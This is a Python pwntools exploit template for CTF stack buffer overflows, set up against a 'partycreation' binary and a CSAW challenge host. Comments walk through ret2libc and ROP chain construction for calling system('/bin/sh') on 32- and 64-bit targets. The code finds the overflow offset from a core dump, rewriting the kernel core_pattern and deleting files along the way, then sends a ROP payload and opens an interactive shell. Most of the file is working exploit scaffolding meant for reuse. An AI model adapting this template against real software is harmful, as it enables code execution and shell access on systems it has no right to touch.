#!/usr/bin/env python3
####################################################################################################
# 64 bits
# step 1: elf for local/remote 
# step 2: ldd binary to find out libc version
# step 3: use libc.symbols['func'] to find out func address
# step 4: add libcbase to it
# step 5: use next(libc.search(b'/bin/sh')) to find binsh address
# step 6: use ROPgadget --binary to find pop rdi; ret address
# step 7: rdi = int('found-address'), 16)
# step 8: build chain: pl = b'A'*30 + p64(rdi) + p64(binsh) + p64(system)
# step 9: sendline(pl)
#####################################################################################################
# 32 bits
# stack looks like this:
# payload = padding + p32(system) + p32(0x00) + p32(binsh)
#####################################################################################################
# 32 bits
#
# payload = padding + p32(ret2win_address)
# payload = padding + p32(system_plt_address) + 'B'*4 + p32(usefulParameters)
#
# ie. callme_one(1,2,3);callme_two(1,2,3); callme_three(1,2,3)
# payload = flat([padding, callme_one_plt_address, pop_pop_ret_address, 1,2,3,
#           callme_two_plt_address, pop_pop_ret_address, 1,2,3,
#           callme_three_plt_address, pop_pop_ret_address, 1,2,3 ])
#
# 
########################################################################################################
# 64 bits
# 
# payload = padding + p64(ret2win_aadress)
# payload = padding + p64(pop_rdi_ret_address) + p64(usefulString_address) + p64(system_address)
# 
# ie. callme_one(1,2,3);callme_two(1,2,3); callme_three(1,2,3)
# payload = flat([padding, pop_pop_pop_ret_address, 1,2,3, callme_one_plt_address,
#                          pop_pop_pop_ret_address, 1,2,3, callme_two_plt_address,
#                          pop_pop_pop_ret_address, 1,2,3, callme_three_plt_address],word_size=64)
#
###########################################################################################################
import os
from pwn import *

elf = exe = context.binary = ELF('./partycreation')  #change the binary. CHANGE!!!

local = True

if local:
    p = elf.process()
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    host = 'pwn.chal.csaw.io'    #change to nc host. CHANGE !!!
    port = 5010             #change to nc port. CHANGE !!!

    p = remote(host, port)
    libc = ELF('libc-2.27.so')   #change to remote libc. CHANGE !!! 

# Find padding
def get_overflow_offset():
    # It's problematic to create a core dump on an NTFS file system,
    # so reconfigure core dumps to be created elsewhere
    os.system("echo ~/core/core_dump > /proc/sys/kernel/core_pattern")
    os.system("rm core.* > /dev/null")
    proc = process(exe.path)
    payload = cyclic(200, n = exe.bytes)   # depends on buffer size, ChANGE!!! 
    send_payload(proc, payload)
    proc.wait()
    offset = cyclic_find(proc.corefile.fault_addr, n = exe.bytes )
    log.info("Overflow offset: {}".format(offset))
    return offset

# if PIE is enabled, find PIE address
def get_PIE(proc):
    memory_map = open("/proc/{}/maps".format(proc.pid),"r").readlines()
    return int(memory_map[0].split("-")[0],16)

# send in payload
def send_payload(proc, payload):
    proc.sendlineafter(">", payload)  #change to prompt. CHANGE !!!

overflow_offset = get_overflow_offset()

rop = p64(0x00) + p64(0x00) + p64(0x00)    #fit to your own. CHANGE !!!

payload = fit({overflow_offset:rop }, filler = 'A')
log.info("Sending payload: \n{}".format(hexdump(payload)))

send_payload(p, payload)
p.interactive()

